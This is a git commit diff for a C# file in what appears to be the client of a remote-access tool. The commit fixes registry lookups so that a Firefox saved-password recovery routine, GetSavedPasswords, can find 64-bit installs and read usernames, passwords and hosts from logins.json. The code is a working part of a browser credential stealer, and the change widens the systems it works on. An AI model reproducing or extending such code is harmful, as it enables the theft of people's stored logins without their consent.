PasswordRecovery partial fix

Load the correct registry values for 64 bit version of firefox

ref #339

LoadLibrary returns 0, won't load DLLs (x86/x64)
This commit is contained in:
d3agle 2015-08-21 12:57:32 -05:00
parent dc705e9b3a
commit bed7ed264a
1 changed files with 3 additions and 8 deletions

View File

@ -58,7 +58,6 @@ namespace xClient.Core.Recovery.Browsers
/// <returns>List of Username/Password/Host</returns>
public static List<RecoveredAccount> GetSavedPasswords()
{
List<RecoveredAccount> firefoxPasswords = new List<RecoveredAccount>();
try
{
@ -84,7 +83,7 @@ namespace xClient.Core.Recovery.Browsers
}
catch (Exception)
{
}
return firefoxPasswords;
}
@ -190,8 +189,6 @@ namespace xClient.Core.Recovery.Browsers
return file;
}
throw new Exception("No Firefox logins.json was found");
}
private static DirectoryInfo GetFirefoxInstallPath()
{
@ -218,17 +215,15 @@ namespace xClient.Core.Recovery.Browsers
throw new NullReferenceException("Install string was null");
firefoxPath = new DirectoryInfo(installString);
}
else if (localMachine2 != null)
{
string[] installedVersions = localMachine1.GetSubKeyNames();
string[] installedVersions = localMachine2.GetSubKeyNames();
// we'll take the first installed version, people normally only have one
if (installedVersions.Length == 0)
throw new IndexOutOfRangeException("No installs of firefox recorded in its key.");
RegistryKey mainInstall = localMachine1.OpenSubKey(installedVersions[0]);
RegistryKey mainInstall = localMachine2.OpenSubKey(installedVersions[0]);
// get install directory
string installString = (string)mainInstall.OpenSubKey("Main").GetValue("Install Directory", null);